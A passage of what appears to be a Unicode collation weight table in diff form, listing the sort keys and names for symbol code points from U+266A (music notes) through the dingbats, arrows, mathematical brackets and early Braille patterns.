+266A  ; [*097A.0020.0002] # EIGHTH NOTE
+266B  ; [*097B.0020.0002] # BEAMED EIGHTH NOTES
+266C  ; [*097C.0020.0002] # BEAMED SIXTEENTH NOTES
+266D  ; [*10F3.0020.0002] # MUSIC FLAT SIGN
+266E  ; [*10F4.0020.0002] # MUSIC NATURAL SIGN
+266F  ; [*10F5.0020.0002] # MUSIC SHARP SIGN
+2670  ; [*097D.0020.0002] # WEST SYRIAC CROSS
+2671  ; [*097E.0020.0002] # EAST SYRIAC CROSS
+2672  ; [*097F.0020.0002] # UNIVERSAL RECYCLING SYMBOL
+2673  ; [*0980.0020.0002] # RECYCLING SYMBOL FOR TYPE-1 PLASTICS
+2674  ; [*0981.0020.0002] # RECYCLING SYMBOL FOR TYPE-2 PLASTICS
+2675  ; [*0982.0020.0002] # RECYCLING SYMBOL FOR TYPE-3 PLASTICS
+2676  ; [*0983.0020.0002] # RECYCLING SYMBOL FOR TYPE-4 PLASTICS
+2677  ; [*0984.0020.0002] # RECYCLING SYMBOL FOR TYPE-5 PLASTICS
+2678  ; [*0985.0020.0002] # RECYCLING SYMBOL FOR TYPE-6 PLASTICS
+2679  ; [*0986.0020.0002] # RECYCLING SYMBOL FOR TYPE-7 PLASTICS
+267A  ; [*0987.0020.0002] # RECYCLING SYMBOL FOR GENERIC MATERIALS
+267B  ; [*0988.0020.0002] # BLACK UNIVERSAL RECYCLING SYMBOL
+267C  ; [*0989.0020.0002] # RECYCLED PAPER SYMBOL
+267D  ; [*098A.0020.0002] # PARTIALLY-RECYCLED PAPER SYMBOL
+267E  ; [*098B.0020.0002] # PERMANENT PAPER SIGN
+267F  ; [*098C.0020.0002] # WHEELCHAIR SYMBOL
+2680  ; [*098D.0020.0002] # DIE FACE-1
+2681  ; [*098E.0020.0002] # DIE FACE-2
+2682  ; [*098F.0020.0002] # DIE FACE-3
+2683  ; [*0990.0020.0002] # DIE FACE-4
+2684  ; [*0991.0020.0002] # DIE FACE-5
+2685  ; [*0992.0020.0002] # DIE FACE-6
+2686  ; [*0993.0020.0002] # WHITE CIRCLE WITH DOT RIGHT
+2687  ; [*0994.0020.0002] # WHITE CIRCLE WITH TWO DOTS
+2688  ; [*0995.0020.0002] # BLACK CIRCLE WITH WHITE DOT RIGHT
+2689  ; [*0996.0020.0002] # BLACK CIRCLE WITH TWO WHITE DOTS
+268A  ; [*0E9C.0020.0002] # MONOGRAM FOR YANG
+268B  ; [*0E9D.0020.0002] # MONOGRAM FOR YIN
+268C  ; [*0E9E.0020.0002] # DIGRAM FOR GREATER YANG
+268D  ; [*0E9F.0020.0002] # DIGRAM FOR LESSER YIN
+268E  ; [*0EA0.0020.0002] # DIGRAM FOR LESSER YANG
+268F  ; [*0EA1.0020.0002] # DIGRAM FOR GREATER YIN
+2690  ; [*0997.0020.0002] # WHITE FLAG
+2691  ; [*0998.0020.0002] # BLACK FLAG
+2692  ; [*0999.0020.0002] # HAMMER AND PICK
+2693  ; [*099A.0020.0002] # ANCHOR
+2694  ; [*099B.0020.0002] # CROSSED SWORDS
+2695  ; [*099C.0020.0002] # STAFF OF AESCULAPIUS
+2696  ; [*099D.0020.0002] # SCALES
+2697  ; [*099E.0020.0002] # ALEMBIC
+2698  ; [*099F.0020.0002] # FLOWER
+2699  ; [*09A0.0020.0002] # GEAR
+269A  ; [*09A1.0020.0002] # STAFF OF HERMES
+269B  ; [*09A2.0020.0002] # ATOM SYMBOL
+269C  ; [*09A3.0020.0002] # FLEUR-DE-LIS
+269D  ; [*09A4.0020.0002] # OUTLINED WHITE STAR
+269E  ; [*09A5.0020.0002] # THREE LINES CONVERGING RIGHT
+269F  ; [*09A6.0020.0002] # THREE LINES CONVERGING LEFT
+26A0  ; [*09A7.0020.0002] # WARNING SIGN
+26A1  ; [*09A8.0020.0002] # HIGH VOLTAGE SIGN
+26A2  ; [*09A9.0020.0002] # DOUBLED FEMALE SIGN
+26A3  ; [*09AA.0020.0002] # DOUBLED MALE SIGN
+26A4  ; [*09AB.0020.0002] # INTERLOCKED FEMALE AND MALE SIGN
+26A5  ; [*09AC.0020.0002] # MALE AND FEMALE SIGN
+26A6  ; [*09AD.0020.0002] # MALE WITH STROKE SIGN
+26A7  ; [*09AE.0020.0002] # MALE WITH STROKE AND MALE AND FEMALE SIGN
+26A8  ; [*09AF.0020.0002] # VERTICAL MALE WITH STROKE SIGN
+26A9  ; [*09B0.0020.0002] # HORIZONTAL MALE WITH STROKE SIGN
+26AA  ; [*09B1.0020.0002] # MEDIUM WHITE CIRCLE
+26AB  ; [*09B2.0020.0002] # MEDIUM BLACK CIRCLE
+26AC  ; [*09B3.0020.0002] # MEDIUM SMALL WHITE CIRCLE
+26AD  ; [*09B4.0020.0002] # MARRIAGE SYMBOL
+26AE  ; [*09B5.0020.0002] # DIVORCE SYMBOL
+26AF  ; [*09B6.0020.0002] # UNMARRIED PARTNERSHIP SYMBOL
+26B0  ; [*09B7.0020.0002] # COFFIN
+26B1  ; [*09B8.0020.0002] # FUNERAL URN
+26B2  ; [*09B9.0020.0002] # NEUTER
+26B3  ; [*09BA.0020.0002] # CERES
+26B4  ; [*09BB.0020.0002] # PALLAS
+26B5  ; [*09BC.0020.0002] # JUNO
+26B6  ; [*09BD.0020.0002] # VESTA
+26B7  ; [*09BE.0020.0002] # CHIRON
+26B8  ; [*09BF.0020.0002] # BLACK MOON LILITH
+26B9  ; [*09C0.0020.0002] # SEXTILE
+26BA  ; [*09C1.0020.0002] # SEMISEXTILE
+26BB  ; [*09C2.0020.0002] # QUINCUNX
+26BC  ; [*09C3.0020.0002] # SESQUIQUADRATE
+26BD  ; [*09C4.0020.0002] # SOCCER BALL
+26BE  ; [*09C5.0020.0002] # BASEBALL
+26BF  ; [*09C6.0020.0002] # SQUARED KEY
+26C0  ; [*09C7.0020.0002] # WHITE DRAUGHTS MAN
+26C1  ; [*09C8.0020.0002] # WHITE DRAUGHTS KING
+26C2  ; [*09C9.0020.0002] # BLACK DRAUGHTS MAN
+26C3  ; [*09CA.0020.0002] # BLACK DRAUGHTS KING
+26C4  ; [*09CB.0020.0002] # SNOWMAN WITHOUT SNOW
+26C5  ; [*09CC.0020.0002] # SUN BEHIND CLOUD
+26C6  ; [*09CD.0020.0002] # RAIN
+26C7  ; [*09CE.0020.0002] # BLACK SNOWMAN
+26C8  ; [*09CF.0020.0002] # THUNDER CLOUD AND RAIN
+26C9  ; [*09D0.0020.0002] # TURNED WHITE SHOGI PIECE
+26CA  ; [*09D1.0020.0002] # TURNED BLACK SHOGI PIECE
+26CB  ; [*09D2.0020.0002] # WHITE DIAMOND IN SQUARE
+26CC  ; [*09D3.0020.0002] # CROSSING LANES
+26CD  ; [*09D4.0020.0002] # DISABLED CAR
+26CE  ; [*09D5.0020.0002] # OPHIUCHUS
+26CF  ; [*09D6.0020.0002] # PICK
+26D0  ; [*09D7.0020.0002] # CAR SLIDING
+26D1  ; [*09D8.0020.0002] # HELMET WITH WHITE CROSS
+26D2  ; [*09D9.0020.0002] # CIRCLED CROSSING LANES
+26D3  ; [*09DA.0020.0002] # CHAINS
+26D4  ; [*09DB.0020.0002] # NO ENTRY
+26D5  ; [*09DC.0020.0002] # ALTERNATE ONE-WAY LEFT WAY TRAFFIC
+26D6  ; [*09DD.0020.0002] # BLACK TWO-WAY LEFT WAY TRAFFIC
+26D7  ; [*09DE.0020.0002] # WHITE TWO-WAY LEFT WAY TRAFFIC
+26D8  ; [*09DF.0020.0002] # BLACK LEFT LANE MERGE
+26D9  ; [*09E0.0020.0002] # WHITE LEFT LANE MERGE
+26DA  ; [*09E1.0020.0002] # DRIVE SLOW SIGN
+26DB  ; [*09E2.0020.0002] # HEAVY WHITE DOWN-POINTING TRIANGLE
+26DC  ; [*09E3.0020.0002] # LEFT CLOSED ENTRY
+26DD  ; [*09E4.0020.0002] # SQUARED SALTIRE
+26DE  ; [*09E5.0020.0002] # FALLING DIAGONAL IN WHITE CIRCLE IN BLACK SQUARE
+26DF  ; [*09E6.0020.0002] # BLACK TRUCK
+26E0  ; [*09E7.0020.0002] # RESTRICTED LEFT ENTRY-1
+26E1  ; [*09E8.0020.0002] # RESTRICTED LEFT ENTRY-2
+26E2  ; [*09E9.0020.0002] # ASTRONOMICAL SYMBOL FOR URANUS
+26E3  ; [*09EA.0020.0002] # HEAVY CIRCLE WITH STROKE AND TWO DOTS ABOVE
+26E4  ; [*09EB.0020.0002] # PENTAGRAM
+26E5  ; [*09EC.0020.0002] # RIGHT-HANDED INTERLACED PENTAGRAM
+26E6  ; [*09ED.0020.0002] # LEFT-HANDED INTERLACED PENTAGRAM
+26E7  ; [*09EE.0020.0002] # INVERTED PENTAGRAM
+26E8  ; [*09EF.0020.0002] # BLACK CROSS ON SHIELD
+26E9  ; [*09F0.0020.0002] # SHINTO SHRINE
+26EA  ; [*09F1.0020.0002] # CHURCH
+26EB  ; [*09F2.0020.0002] # CASTLE
+26EC  ; [*09F3.0020.0002] # HISTORIC SITE
+26ED  ; [*09F4.0020.0002] # GEAR WITHOUT HUB
+26EE  ; [*09F5.0020.0002] # GEAR WITH HANDLES
+26EF  ; [*09F6.0020.0002] # MAP SYMBOL FOR LIGHTHOUSE
+26F0  ; [*09F7.0020.0002] # MOUNTAIN
+26F1  ; [*09F8.0020.0002] # UMBRELLA ON GROUND
+26F2  ; [*09F9.0020.0002] # FOUNTAIN
+26F3  ; [*09FA.0020.0002] # FLAG IN HOLE
+26F4  ; [*09FB.0020.0002] # FERRY
+26F5  ; [*09FC.0020.0002] # SAILBOAT
+26F6  ; [*09FD.0020.0002] # SQUARE FOUR CORNERS
+26F7  ; [*09FE.0020.0002] # SKIER
+26F8  ; [*09FF.0020.0002] # ICE SKATE
+26F9  ; [*0A00.0020.0002] # PERSON WITH BALL
+26FA  ; [*0A01.0020.0002] # TENT
+26FB  ; [*0A02.0020.0002] # JAPANESE BANK SYMBOL
+26FC  ; [*0A03.0020.0002] # HEADSTONE GRAVEYARD SYMBOL
+26FD  ; [*0A04.0020.0002] # FUEL PUMP
+26FE  ; [*0A05.0020.0002] # CUP ON BLACK SQUARE
+26FF  ; [*0A06.0020.0002] # WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE
+2700  ; [*0A21.0020.0002] # BLACK SAFETY SCISSORS
+2701  ; [*0A22.0020.0002] # UPPER BLADE SCISSORS
+2702  ; [*0A23.0020.0002] # BLACK SCISSORS
+2703  ; [*0A24.0020.0002] # LOWER BLADE SCISSORS
+2704  ; [*0A25.0020.0002] # WHITE SCISSORS
+2705  ; [*0A26.0020.0002] # WHITE HEAVY CHECK MARK
+2706  ; [*0A27.0020.0002] # TELEPHONE LOCATION SIGN
+2707  ; [*0A28.0020.0002] # TAPE DRIVE
+2708  ; [*0A29.0020.0002] # AIRPLANE
+2709  ; [*0A2A.0020.0002] # ENVELOPE
+270A  ; [*0A2B.0020.0002] # RAISED FIST
+270B  ; [*0A2C.0020.0002] # RAISED HAND
+270C  ; [*0A2D.0020.0002] # VICTORY HAND
+270D  ; [*0A2E.0020.0002] # WRITING HAND
+270E  ; [*0A2F.0020.0002] # LOWER RIGHT PENCIL
+270F  ; [*0A30.0020.0002] # PENCIL
+2710  ; [*0A31.0020.0002] # UPPER RIGHT PENCIL
+2711  ; [*0A32.0020.0002] # WHITE NIB
+2712  ; [*0A33.0020.0002] # BLACK NIB
+2713  ; [*0A34.0020.0002] # CHECK MARK
+2714  ; [*0A35.0020.0002] # HEAVY CHECK MARK
+2715  ; [*0A36.0020.0002] # MULTIPLICATION X
+2716  ; [*0A37.0020.0002] # HEAVY MULTIPLICATION X
+2717  ; [*0A38.0020.0002] # BALLOT X
+2718  ; [*0A39.0020.0002] # HEAVY BALLOT X
+2719  ; [*0A3A.0020.0002] # OUTLINED GREEK CROSS
+271A  ; [*0A3B.0020.0002] # HEAVY GREEK CROSS
+271B  ; [*0A3C.0020.0002] # OPEN CENTRE CROSS
+271C  ; [*0A3D.0020.0002] # HEAVY OPEN CENTRE CROSS
+271D  ; [*0A3E.0020.0002] # LATIN CROSS
+271E  ; [*0A3F.0020.0002] # SHADOWED WHITE LATIN CROSS
+271F  ; [*0A40.0020.0002] # OUTLINED LATIN CROSS
+2720  ; [*0A41.0020.0002] # MALTESE CROSS
+2721  ; [*0A42.0020.0002] # STAR OF DAVID
+2722  ; [*0A43.0020.0002] # FOUR TEARDROP-SPOKED ASTERISK
+2723  ; [*0A44.0020.0002] # FOUR BALLOON-SPOKED ASTERISK
+2724  ; [*0A45.0020.0002] # HEAVY FOUR BALLOON-SPOKED ASTERISK
+2725  ; [*0A46.0020.0002] # FOUR CLUB-SPOKED ASTERISK
+2726  ; [*0A47.0020.0002] # BLACK FOUR POINTED STAR
+2727  ; [*0A48.0020.0002] # WHITE FOUR POINTED STAR
+2728  ; [*0A49.0020.0002] # SPARKLES
+2729  ; [*0A4A.0020.0002] # STRESS OUTLINED WHITE STAR
+272A  ; [*0A4B.0020.0002] # CIRCLED WHITE STAR
+272B  ; [*0A4C.0020.0002] # OPEN CENTRE BLACK STAR
+272C  ; [*0A4D.0020.0002] # BLACK CENTRE WHITE STAR
+272D  ; [*0A4E.0020.0002] # OUTLINED BLACK STAR
+272E  ; [*0A4F.0020.0002] # HEAVY OUTLINED BLACK STAR
+272F  ; [*0A50.0020.0002] # PINWHEEL STAR
+2730  ; [*0A51.0020.0002] # SHADOWED WHITE STAR
+2731  ; [*0A52.0020.0002] # HEAVY ASTERISK
+2732  ; [*0A53.0020.0002] # OPEN CENTRE ASTERISK
+2733  ; [*0A54.0020.0002] # EIGHT SPOKED ASTERISK
+2734  ; [*0A55.0020.0002] # EIGHT POINTED BLACK STAR
+2735  ; [*0A56.0020.0002] # EIGHT POINTED PINWHEEL STAR
+2736  ; [*0A57.0020.0002] # SIX POINTED BLACK STAR
+2737  ; [*0A58.0020.0002] # EIGHT POINTED RECTILINEAR BLACK STAR
+2738  ; [*0A59.0020.0002] # HEAVY EIGHT POINTED RECTILINEAR BLACK STAR
+2739  ; [*0A5A.0020.0002] # TWELVE POINTED BLACK STAR
+273A  ; [*0A5B.0020.0002] # SIXTEEN POINTED ASTERISK
+273B  ; [*0A5C.0020.0002] # TEARDROP-SPOKED ASTERISK
+273C  ; [*0A5D.0020.0002] # OPEN CENTRE TEARDROP-SPOKED ASTERISK
+273D  ; [*0A5E.0020.0002] # HEAVY TEARDROP-SPOKED ASTERISK
+273E  ; [*0A5F.0020.0002] # SIX PETALLED BLACK AND WHITE FLORETTE
+273F  ; [*0A60.0020.0002] # BLACK FLORETTE
+2740  ; [*0A61.0020.0002] # WHITE FLORETTE
+2741  ; [*0A62.0020.0002] # EIGHT PETALLED OUTLINED BLACK FLORETTE
+2742  ; [*0A63.0020.0002] # CIRCLED OPEN CENTRE EIGHT POINTED STAR
+2743  ; [*0A64.0020.0002] # HEAVY TEARDROP-SPOKED PINWHEEL ASTERISK
+2744  ; [*0A65.0020.0002] # SNOWFLAKE
+2745  ; [*0A66.0020.0002] # TIGHT TRIFOLIATE SNOWFLAKE
+2746  ; [*0A67.0020.0002] # HEAVY CHEVRON SNOWFLAKE
+2747  ; [*0A68.0020.0002] # SPARKLE
+2748  ; [*0A69.0020.0002] # HEAVY SPARKLE
+2749  ; [*0A6A.0020.0002] # BALLOON-SPOKED ASTERISK
+274A  ; [*0A6B.0020.0002] # EIGHT TEARDROP-SPOKED PROPELLER ASTERISK
+274B  ; [*0A6C.0020.0002] # HEAVY EIGHT TEARDROP-SPOKED PROPELLER ASTERISK
+274C  ; [*0A6D.0020.0002] # CROSS MARK
+274D  ; [*0A6E.0020.0002] # SHADOWED WHITE CIRCLE
+274E  ; [*0A6F.0020.0002] # NEGATIVE SQUARED CROSS MARK
+274F  ; [*0A70.0020.0002] # LOWER RIGHT DROP-SHADOWED WHITE SQUARE
+2750  ; [*0A71.0020.0002] # UPPER RIGHT DROP-SHADOWED WHITE SQUARE
+2751  ; [*0A72.0020.0002] # LOWER RIGHT SHADOWED WHITE SQUARE
+2752  ; [*0A73.0020.0002] # UPPER RIGHT SHADOWED WHITE SQUARE
+2753  ; [*0A74.0020.0002] # BLACK QUESTION MARK ORNAMENT
+2754  ; [*0A75.0020.0002] # WHITE QUESTION MARK ORNAMENT
+2755  ; [*0A76.0020.0002] # WHITE EXCLAMATION MARK ORNAMENT
+2756  ; [*0A77.0020.0002] # BLACK DIAMOND MINUS WHITE X
+2757  ; [*0A78.0020.0002] # HEAVY EXCLAMATION MARK SYMBOL
+2758  ; [*0A79.0020.0002] # LIGHT VERTICAL BAR
+2759  ; [*0A7A.0020.0002] # MEDIUM VERTICAL BAR
+275A  ; [*0A7B.0020.0002] # HEAVY VERTICAL BAR
+275B  ; [*0A7C.0020.0002] # HEAVY SINGLE TURNED COMMA QUOTATION MARK ORNAMENT
+275C  ; [*0A7D.0020.0002] # HEAVY SINGLE COMMA QUOTATION MARK ORNAMENT
+275D  ; [*0A7E.0020.0002] # HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT
+275E  ; [*0A7F.0020.0002] # HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT
+275F  ; [*0A80.0020.0002] # HEAVY LOW SINGLE COMMA QUOTATION MARK ORNAMENT
+2760  ; [*0A81.0020.0002] # HEAVY LOW DOUBLE COMMA QUOTATION MARK ORNAMENT
+2761  ; [*0A82.0020.0002] # CURVED STEM PARAGRAPH SIGN ORNAMENT
+2762  ; [*0A83.0020.0002] # HEAVY EXCLAMATION MARK ORNAMENT
+2763  ; [*0A84.0020.0002] # HEAVY HEART EXCLAMATION MARK ORNAMENT
+2764  ; [*0A85.0020.0002] # HEAVY BLACK HEART
+2765  ; [*0A86.0020.0002] # ROTATED HEAVY BLACK HEART BULLET
+2766  ; [*0A87.0020.0002] # FLORAL HEART
+2767  ; [*0A88.0020.0002] # ROTATED FLORAL HEART BULLET
+2768  ; [*034D.0020.0002] # MEDIUM LEFT PARENTHESIS ORNAMENT
+2769  ; [*034E.0020.0002] # MEDIUM RIGHT PARENTHESIS ORNAMENT
+276A  ; [*034F.0020.0002] # MEDIUM FLATTENED LEFT PARENTHESIS ORNAMENT
+276B  ; [*0350.0020.0002] # MEDIUM FLATTENED RIGHT PARENTHESIS ORNAMENT
+276C  ; [*0351.0020.0002] # MEDIUM LEFT-POINTING ANGLE BRACKET ORNAMENT
+276D  ; [*0352.0020.0002] # MEDIUM RIGHT-POINTING ANGLE BRACKET ORNAMENT
+276E  ; [*0353.0020.0002] # HEAVY LEFT-POINTING ANGLE QUOTATION MARK ORNAMENT
+276F  ; [*0354.0020.0002] # HEAVY RIGHT-POINTING ANGLE QUOTATION MARK ORNAMENT
+2770  ; [*0355.0020.0002] # HEAVY LEFT-POINTING ANGLE BRACKET ORNAMENT
+2771  ; [*0356.0020.0002] # HEAVY RIGHT-POINTING ANGLE BRACKET ORNAMENT
+2772  ; [*0357.0020.0002] # LIGHT LEFT TORTOISE SHELL BRACKET ORNAMENT
+2773  ; [*0358.0020.0002] # LIGHT RIGHT TORTOISE SHELL BRACKET ORNAMENT
+2774  ; [*0359.0020.0002] # MEDIUM LEFT CURLY BRACKET ORNAMENT
+2775  ; [*035A.0020.0002] # MEDIUM RIGHT CURLY BRACKET ORNAMENT
+2794  ; [*0A89.0020.0002] # HEAVY WIDE-HEADED RIGHTWARDS ARROW
+2795  ; [*0A8A.0020.0002] # HEAVY PLUS SIGN
+2796  ; [*0A8B.0020.0002] # HEAVY MINUS SIGN
+2797  ; [*0A8C.0020.0002] # HEAVY DIVISION SIGN
+2798  ; [*0A8D.0020.0002] # HEAVY SOUTH EAST ARROW
+2799  ; [*0A8E.0020.0002] # HEAVY RIGHTWARDS ARROW
+279A  ; [*0A8F.0020.0002] # HEAVY NORTH EAST ARROW
+279B  ; [*0A90.0020.0002] # DRAFTING POINT RIGHTWARDS ARROW
+279C  ; [*0A91.0020.0002] # HEAVY ROUND-TIPPED RIGHTWARDS ARROW
+279D  ; [*0A92.0020.0002] # TRIANGLE-HEADED RIGHTWARDS ARROW
+279E  ; [*0A93.0020.0002] # HEAVY TRIANGLE-HEADED RIGHTWARDS ARROW
+279F  ; [*0A94.0020.0002] # DASHED TRIANGLE-HEADED RIGHTWARDS ARROW
+27A0  ; [*0A95.0020.0002] # HEAVY DASHED TRIANGLE-HEADED RIGHTWARDS ARROW
+27A1  ; [*0A96.0020.0002] # BLACK RIGHTWARDS ARROW
+27A2  ; [*0A97.0020.0002] # THREE-D TOP-LIGHTED RIGHTWARDS ARROWHEAD
+27A3  ; [*0A98.0020.0002] # THREE-D BOTTOM-LIGHTED RIGHTWARDS ARROWHEAD
+27A4  ; [*0A99.0020.0002] # BLACK RIGHTWARDS ARROWHEAD
+27A5  ; [*0A9A.0020.0002] # HEAVY BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW
+27A6  ; [*0A9B.0020.0002] # HEAVY BLACK CURVED UPWARDS AND RIGHTWARDS ARROW
+27A7  ; [*0A9C.0020.0002] # SQUAT BLACK RIGHTWARDS ARROW
+27A8  ; [*0A9D.0020.0002] # HEAVY CONCAVE-POINTED BLACK RIGHTWARDS ARROW
+27A9  ; [*0A9E.0020.0002] # RIGHT-SHADED WHITE RIGHTWARDS ARROW
+27AA  ; [*0A9F.0020.0002] # LEFT-SHADED WHITE RIGHTWARDS ARROW
+27AB  ; [*0AA0.0020.0002] # BACK-TILTED SHADOWED WHITE RIGHTWARDS ARROW
+27AC  ; [*0AA1.0020.0002] # FRONT-TILTED SHADOWED WHITE RIGHTWARDS ARROW
+27AD  ; [*0AA2.0020.0002] # HEAVY LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW
+27AE  ; [*0AA3.0020.0002] # HEAVY UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW
+27AF  ; [*0AA4.0020.0002] # NOTCHED LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW
+27B0  ; [*0AA5.0020.0002] # CURLY LOOP
+27B1  ; [*0AA6.0020.0002] # NOTCHED UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW
+27B2  ; [*0AA7.0020.0002] # CIRCLED HEAVY WHITE RIGHTWARDS ARROW
+27B3  ; [*0AA8.0020.0002] # WHITE-FEATHERED RIGHTWARDS ARROW
+27B4  ; [*0AA9.0020.0002] # BLACK-FEATHERED SOUTH EAST ARROW
+27B5  ; [*0AAA.0020.0002] # BLACK-FEATHERED RIGHTWARDS ARROW
+27B6  ; [*0AAB.0020.0002] # BLACK-FEATHERED NORTH EAST ARROW
+27B7  ; [*0AAC.0020.0002] # HEAVY BLACK-FEATHERED SOUTH EAST ARROW
+27B8  ; [*0AAD.0020.0002] # HEAVY BLACK-FEATHERED RIGHTWARDS ARROW
+27B9  ; [*0AAE.0020.0002] # HEAVY BLACK-FEATHERED NORTH EAST ARROW
+27BA  ; [*0AAF.0020.0002] # TEARDROP-BARBED RIGHTWARDS ARROW
+27BB  ; [*0AB0.0020.0002] # HEAVY TEARDROP-SHANKED RIGHTWARDS ARROW
+27BC  ; [*0AB1.0020.0002] # WEDGE-TAILED RIGHTWARDS ARROW
+27BD  ; [*0AB2.0020.0002] # HEAVY WEDGE-TAILED RIGHTWARDS ARROW
+27BE  ; [*0AB3.0020.0002] # OPEN-OUTLINED RIGHTWARDS ARROW
+27BF  ; [*0AB4.0020.0002] # DOUBLE CURLY LOOP
+27C0  ; [*0AB5.0020.0002] # THREE DIMENSIONAL ANGLE
+27C1  ; [*0AB6.0020.0002] # WHITE TRIANGLE CONTAINING SMALL WHITE TRIANGLE
+27C2  ; [*0AB7.0020.0002] # PERPENDICULAR
+27C3  ; [*0AB8.0020.0002] # OPEN SUBSET
+27C4  ; [*0AB9.0020.0002] # OPEN SUPERSET
+27C5  ; [*0341.0020.0002] # LEFT S-SHAPED BAG DELIMITER
+27C6  ; [*0342.0020.0002] # RIGHT S-SHAPED BAG DELIMITER
+27C7  ; [*0ABA.0020.0002] # OR WITH DOT INSIDE
+27C8  ; [*0ABB.0020.0002] # REVERSE SOLIDUS PRECEDING SUBSET
+27C9  ; [*0ABC.0020.0002] # SUPERSET PRECEDING SOLIDUS
+27CA  ; [*0ABD.0020.0002] # VERTICAL BAR WITH HORIZONTAL STROKE
+27CB  ; [*0ABE.0020.0002] # MATHEMATICAL RISING DIAGONAL
+27CC  ; [*0ABF.0020.0002] # LONG DIVISION
+27CD  ; [*0AC0.0020.0002] # MATHEMATICAL FALLING DIAGONAL
+27CE  ; [*0AC1.0020.0002] # SQUARED LOGICAL AND
+27CF  ; [*0AC2.0020.0002] # SQUARED LOGICAL OR
+27D0  ; [*0AC3.0020.0002] # WHITE DIAMOND WITH CENTRED DOT
+27D1  ; [*0AC4.0020.0002] # AND WITH DOT
+27D2  ; [*0AC5.0020.0002] # ELEMENT OF OPENING UPWARDS
+27D3  ; [*0AC6.0020.0002] # LOWER RIGHT CORNER WITH DOT
+27D4  ; [*0AC7.0020.0002] # UPPER LEFT CORNER WITH DOT
+27D5  ; [*0AC8.0020.0002] # LEFT OUTER JOIN
+27D6  ; [*0AC9.0020.0002] # RIGHT OUTER JOIN
+27D7  ; [*0ACA.0020.0002] # FULL OUTER JOIN
+27D8  ; [*0ACB.0020.0002] # LARGE UP TACK
+27D9  ; [*0ACC.0020.0002] # LARGE DOWN TACK
+27DA  ; [*0ACD.0020.0002] # LEFT AND RIGHT DOUBLE TURNSTILE
+27DB  ; [*0ACE.0020.0002] # LEFT AND RIGHT TACK
+27DC  ; [*0ACF.0020.0002] # LEFT MULTIMAP
+27DD  ; [*0AD0.0020.0002] # LONG RIGHT TACK
+27DE  ; [*0AD1.0020.0002] # LONG LEFT TACK
+27DF  ; [*0AD2.0020.0002] # UP TACK WITH CIRCLE ABOVE
+27E0  ; [*0AD3.0020.0002] # LOZENGE DIVIDED BY HORIZONTAL RULE
+27E1  ; [*0AD4.0020.0002] # WHITE CONCAVE-SIDED DIAMOND
+27E2  ; [*0AD5.0020.0002] # WHITE CONCAVE-SIDED DIAMOND WITH LEFTWARDS TICK
+27E3  ; [*0AD6.0020.0002] # WHITE CONCAVE-SIDED DIAMOND WITH RIGHTWARDS TICK
+27E4  ; [*0AD7.0020.0002] # WHITE SQUARE WITH LEFTWARDS TICK
+27E5  ; [*0AD8.0020.0002] # WHITE SQUARE WITH RIGHTWARDS TICK
+27E6  ; [*0343.0020.0002] # MATHEMATICAL LEFT WHITE SQUARE BRACKET
+27E7  ; [*0344.0020.0002] # MATHEMATICAL RIGHT WHITE SQUARE BRACKET
+27E8  ; [*0345.0020.0002] # MATHEMATICAL LEFT ANGLE BRACKET
+27E9  ; [*0346.0020.0002] # MATHEMATICAL RIGHT ANGLE BRACKET
+27EA  ; [*0347.0020.0002] # MATHEMATICAL LEFT DOUBLE ANGLE BRACKET
+27EB  ; [*0348.0020.0002] # MATHEMATICAL RIGHT DOUBLE ANGLE BRACKET
+27EC  ; [*0349.0020.0002] # MATHEMATICAL LEFT WHITE TORTOISE SHELL BRACKET
+27ED  ; [*034A.0020.0002] # MATHEMATICAL RIGHT WHITE TORTOISE SHELL BRACKET
+27EE  ; [*034B.0020.0002] # MATHEMATICAL LEFT FLATTENED PARENTHESIS
+27EF  ; [*034C.0020.0002] # MATHEMATICAL RIGHT FLATTENED PARENTHESIS
+27F0  ; [*0AD9.0020.0002] # UPWARDS QUADRUPLE ARROW
+27F1  ; [*0ADA.0020.0002] # DOWNWARDS QUADRUPLE ARROW
+27F2  ; [*0ADB.0020.0002] # ANTICLOCKWISE GAPPED CIRCLE ARROW
+27F3  ; [*0ADC.0020.0002] # CLOCKWISE GAPPED CIRCLE ARROW
+27F4  ; [*0ADD.0020.0002] # RIGHT ARROW WITH CIRCLED PLUS
+27F5  ; [*0ADE.0020.0002] # LONG LEFTWARDS ARROW
+27F6  ; [*0ADF.0020.0002] # LONG RIGHTWARDS ARROW
+27F7  ; [*0AE0.0020.0002] # LONG LEFT RIGHT ARROW
+27F8  ; [*0AE1.0020.0002] # LONG LEFTWARDS DOUBLE ARROW
+27F9  ; [*0AE2.0020.0002] # LONG RIGHTWARDS DOUBLE ARROW
+27FA  ; [*0AE3.0020.0002] # LONG LEFT RIGHT DOUBLE ARROW
+27FB  ; [*0AE4.0020.0002] # LONG LEFTWARDS ARROW FROM BAR
+27FC  ; [*0AE5.0020.0002] # LONG RIGHTWARDS ARROW FROM BAR
+27FD  ; [*0AE6.0020.0002] # LONG LEFTWARDS DOUBLE ARROW FROM BAR
+27FE  ; [*0AE7.0020.0002] # LONG RIGHTWARDS DOUBLE ARROW FROM BAR
+27FF  ; [*0AE8.0020.0002] # LONG RIGHTWARDS SQUIGGLE ARROW
+2800  ; [*0D9C.0020.0002] # BRAILLE PATTERN BLANK
+2801  ; [*0D9D.0020.0002] # BRAILLE PATTERN DOTS-1
+2802  ; [*0D9E.0020.0002] # BRAILLE PATTERN DOTS-2
+2803  ; [*0D9F.0020.0002] # BRAILLE PATTERN DOTS-12
+2804  ; [*0DA0.0020.0002] # BRAILLE PATTERN DOTS-3
+2805  ; [*0DA1.0020.0002] # BRAILLE PATTERN DOTS-13
+2806  ; [*0DA2.0020.0002] # BRAILLE PATTERN DOTS-23
+2807  ; [*0DA3.0020.0002] # BRAILLE PATTERN DOTS-123
+2808  ; [*0DA4.0020.0002] # BRAILLE PATTERN DOTS-4
+2809  ; [*0DA5.0020.0002] # BRAILLE PATTERN DOTS-14
+280A  ; [*0DA6.0020.0002] # BRAILLE PATTERN DOTS-24
+280B  ; [*0DA7.0020.0002] # BRAILLE PATTERN DOTS-124
+280C  ; [*0DA8.0020.0002] # BRAILLE PATTERN DOTS-34
